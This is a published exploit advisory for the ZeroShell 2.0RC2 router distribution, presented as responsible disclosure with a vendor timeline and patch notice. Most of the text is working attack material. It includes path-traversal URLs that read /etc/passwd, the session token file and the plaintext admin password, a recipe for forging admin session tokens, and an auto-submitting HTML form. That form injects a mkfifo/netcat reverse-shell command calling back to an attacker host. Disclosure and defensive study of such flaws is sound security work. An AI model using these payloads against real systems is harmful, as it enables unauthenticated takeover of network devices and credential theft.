###################################################################### # Exploit Title: ZeroShell <= 2.0RC2 Local file disclosure and Remote Command Execution # Date: 13/08/2013 # Author: Yann CAM @ Synetis - ASafety # Vendor or Software Link: www.zeroshell.org - www.zeroshell.org/download/ # Version: 2.0RC2 # Category: Local File disclosure and Remote Command Execution # Google dork: # Tested on: ZeroShell distribution ###################################################################### ZeroShell firewall/router distribution description : ====================================================================== Zeroshell is a Linux distribution for servers and embedded devices aimed at providing the main network services a LAN requires. It is available in the form of Live CD or Compact Flash image and you can configure and administer it using your web browser. Zeroshell is not based on an already existing distribution as for example Knoppix is based on Debian. The name Zeroshell underlines the fact that although it is a Linux system (traditionally administrable from a shell), all the administration operations can be carried out via Web interface. In version <= 2.0RC2 of the distribution, differents vulnerabilities can be used to gain a Remote Command Execution (reverse-shell). * A demonstration video has been realised as PoC here : https://www.youtube.com/watch?v=fgbfVBr65e4 Introduction to the PoC : ====================================================================== In this distribution, the managment website is a binary file named "kerbynet" interpreted in cgi-bin directory here : /cdrom/usr/local/apache2/cgi-bin/kerbynet So all url look like this : http://<ZEROSHELL_IP>/cgi-bin/kerbynet?Section=<SECTION>&STk=<SESSION_TOKEN>&Action=<ACTION>&<PARAM>=<ADDITIONAL PARAM> This binary file routes the params (GET/POST) to dedicated script (mainly in sh) in the /root/kerbynet.cgi/scripts/ directory. There are also all templates html file located in /root/kerbynet.cgi/template/ directory. For all main administration action, the admin user need to be loggued (Unix account admin/zeroshell by default for console, SSH and WebGUI). A session token is needed through each administration page. There are few pages which can be requested without an authentification token like the GPL license, X.509 certificates, etc. The WebGUI running with the "apache" user. This user is restricted and can only run a white list of command and all script sh linked to the kerbynet. To see the administratives rights of this user, cat the file : cat /root/kerbynet.cgi/template.cfg/sudoers Many of these scripts can be exploited to execute arbitrarly command in the system through the WebGUI. For the next part of this PoC, only one script is exploited to gain a full remote reverse shell. Proof of Concept 1 : Local File Disclosure ====================================================================== About's url is the following : http://<ZEROSHELL_IP>/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=About As we can see, this url doesn't need a token session to print the GPN license of the distribution. The license is located in the file : /root/kerbynet.cgi/template/About So we can deduce that this url can be used to a local file disclosure vulnerability. PoC : http://<ZEROSHELL_IP>/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=../../../etc/passwd Results : root:x:0:0:root:/root:/bin/bash admin:x:0:0:root:/root:/root/kerbynet.cgi/scripts/localman apache:x:1000:100::/home/apache: nobody:x:1001:100::/home/nobody: sshd:x:50000:100::/home/sshd:/bin/false bin:x:1:1::/home/bin: quagga:x:0:100::/home/quagga: havp:x:50002:50002:HTTP AntiVirus Proxy:/home/havp:/bin/false Proof of Concept 2 : Generate a valid admin session token ====================================================================== As we said, all administration request need a valid session token named "STk". This variable is used in GET url as param, and in hidden input field of form too. The session ID looklike this : STk=9c00c5f06808b45a89e858d1954088f118f188a7 If we focus on the generation of the session ID in scripts, we can find: /root/kerbynet.cgi/scripts/net_showinterface:STk="`rand``cat /tmp/STk_Admin 2>/dev/null`" /root/kerbynet.cgi/scripts/qos_showinterface:STk="`rand``cat /tmp/STk_Admin 2>/dev/null`" /root/kerbynet.cgi/scripts/vpn_list:STk="`rand``cat /tmp/STk_Admin 2>/dev/null`" /root/kerbynet.cgi/scripts/net_list:STk="`rand``cat /tmp/STk_Admin 2>/dev/null`" /root/kerbynet.cgi/scripts/qos_list:STk="`rand``cat /tmp/STk_Admin 2>/dev/null`" /root/kerbynet.cgi/scripts/storage_netDB:STk="`rand``cat /tmp/STk_Admin 2>/dev/null`" The "rand" command compute a random number with 8 digits, and the next part of the session ID depends on the content of the file /tmp/STk_Admin. This file /tmp/STk_Admin, is only created if an admin was loggued. With the previous local file disclosure vulnerability, we can retrieve the content of this file easily. If the file doesn't exist, you have to wait that a legitimate administrator connect to the WebGUI. PoC : http://<ZEROSHELL_IP>/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=../../../tmp/STk_Admin Result : 6808b45a89e858d1954088f118f188a7 This hash corresponds to the last 32 chars of the valid STk. So we can forge a valid arbitrarly admin session token from this hash prepended with 8 random digits: Valid admin session ID generated : 133713376808b45a89e858d1954088f118f188a7 This token can be injected into known urls to access without credentials to administration menus. After normal and legitimate login, the page printed is composed of frame. To get each menus pages, you can used these following urls : - Left menu http://<ZEROSHELL_IP>/cgi-bin/kerbynet?STk=<GENERATED_SESSION_ID>&Action=Render&Object=sx - Utilities menu http://<ZEROSHELL_IP>/cgi-bin/kerbynet?STk=<GENERATED_SESSION_ID>&Action=Render&Object=utilities_menu - Head menu (reboot/shutdown router) http://<ZEROSHELL_IP>/cgi-bin/kerbynet?STk=<GENERATED_SESSION_ID>&Action=Render&Object=head Proof of Concept 3 : Gain a full reverse-shell without any credentials ====================================================================== At this point, we consider that you have a valid admin session ID generated with the previous method. With this token, we can get a full reverse-shell on the distribution, without login. First, we put a netcat in listening mod on a dedicated port in the pentester machine : #>nc -l -vv -p [PENTESTER_PORT] Next, run the following script in your browser after repace [PENTESTER_IP], [PENTESTER_PORT], [ZEROSHELL_IP] and [GENERATED_SESSION_ID] with yours : <html> <body> <form name='x' action='http://[ZEROSHELL_IP]/cgi-bin/kerbynet' method='post'> <input type='hidden' name='Action' value='Lookup' /> <input type='hidden' name='STk' value='[GENERATED_SESSION_ID]' /> <input type='hidden' name='Section' value='DNS' /> <input type='hidden' name='What' value='yanncam" localhost && rm -f /tmp/x;mkfifo /tmp/x;cat /tmp/x|/bin/sh -i 2>&1|nc [PENTESTER_IP] [PENTESTER_PORT] > /tmp/x #' /> <input type='hidden' name='DNS' value='localhost' /> </form> <script>document.forms['x'].submit();</script> </body> </html> A full reverse-shell is gain in your netcat instance : listening on [any] 1337 ... 192.168.0.75: inverse host lookup failed: h_errno 11004: NO_DATA connect to [192.168.0.2] from (UNKNOWN) [192.168.0.75] 41145: NO_DATA sh: no job control in this shell sh-2.05b$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash admin:x:0:0:root:/root:/root/kerbynet.cgi/scripts/localman apache:x:1000:100::/home/apache: nobody:x:1001:100::/home/nobody: sshd:x:50000:100::/home/sshd:/bin/false bin:x:1:1::/home/bin: quagga:x:0:100::/home/quagga: havp:x:50002:50002:HTTP AntiVirus Proxy:/home/havp:/bin/false Netcat is provided in the Zeroshell distribution, but without the available flag -c or -e. So the technic used to send the shell is with a fifo file specially created. To see more information about reverse-shell one-liner, refer to : http://www.asafety.fr/vuln-exploit-poc/pentesting-etablir-un-reverse-shell-en-une-ligne/ (in french). * A demonstration video has been realised as PoC here : https://www.youtube.com/watch?v=fgbfVBr65e4 Proof of Concept 4 : Retrieve admin password in plaintext ====================================================================== The script used to change the admin password through the WebGUI is located here : /root/kerbynet.cgi/scripts/cpw If the change password mode is to check the old password before, this line il executed in the script : if [ "$CPW" != "`cat $REGISTER/system/ldap/rootpw 2>/dev/null`" ] ; then So the current password is located in $REGISTER/system/ldap/rootpw, where "$REGISTER" has value "/var/register" (defined in /etc/kerbynet.conf). Consequently, with the local file disclosure vulnerability describe above, we can retrieve the admin password in plaintext without any authentification with this url : PoC : http://<ZEROSHELL_IP>/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=../../../var/register/system/ldap/rootpw Result (by default) : zeroshell Solution: ====================================================================== 07/08/2013 : New release ZeroShell 2.0RC3 and new security patch available here : - release : www.zeroshell.org/download/ - patch : www.zeroshell.org/patch-details/ Additional resources : ====================================================================== - www.zeroshell.org - www.synetis.com - www.asafety.fr - www.youtube.com/watch?v=fgbfVBr65e4 Report timeline : ====================================================================== 2013-05-20 : Team alerted with details, PoC and video 2013-05-20 : Main developer Fulvio Ricciardi feedback with thanks and other technical questions 2013-05-21 : New response with others details and potential solutions 2013-05-21 : Fulvio Ricciardi inform me that a new version fixed will be released in June 2013-06-26 : New mail from me to request the official date of the release 2013-06-26 : Response in the same day : new version will be released in July 2013-08-07 : New release ZeroShell 2.0RC3 + security patch available Credits : ====================================================================== 88888888 88 888 88 88 888 88 88 788 Z88 88 88.888888 8888888 888888 88 8888888. 888888. 88 88 888 Z88 88 88 88 88 88 88 8888888 88 88 88 88 88 88 88 88 888 888 88 88 88 88 88888888888 88 88 888888 88 88 88 8. 88 88 88 88 88 888 888 ,88 8I88 88 88 88 88 88 88 .88 .88 ?8888888888. 888 88 88 88888888 8888 88 =88888888 888. 88 88 www.synetis.com 8888 Consulting firm in management and information security Yann CAM - Security Consultant @ Synetis | ASafety Last word : ====================================================================== Thank you Fulvio Ricciardi your for professionalism, responsiveness and quality solution despite of these few weaknesses. -- SYNETIS | ASafety CONTACT: www.synetis.com | www.asafety.fr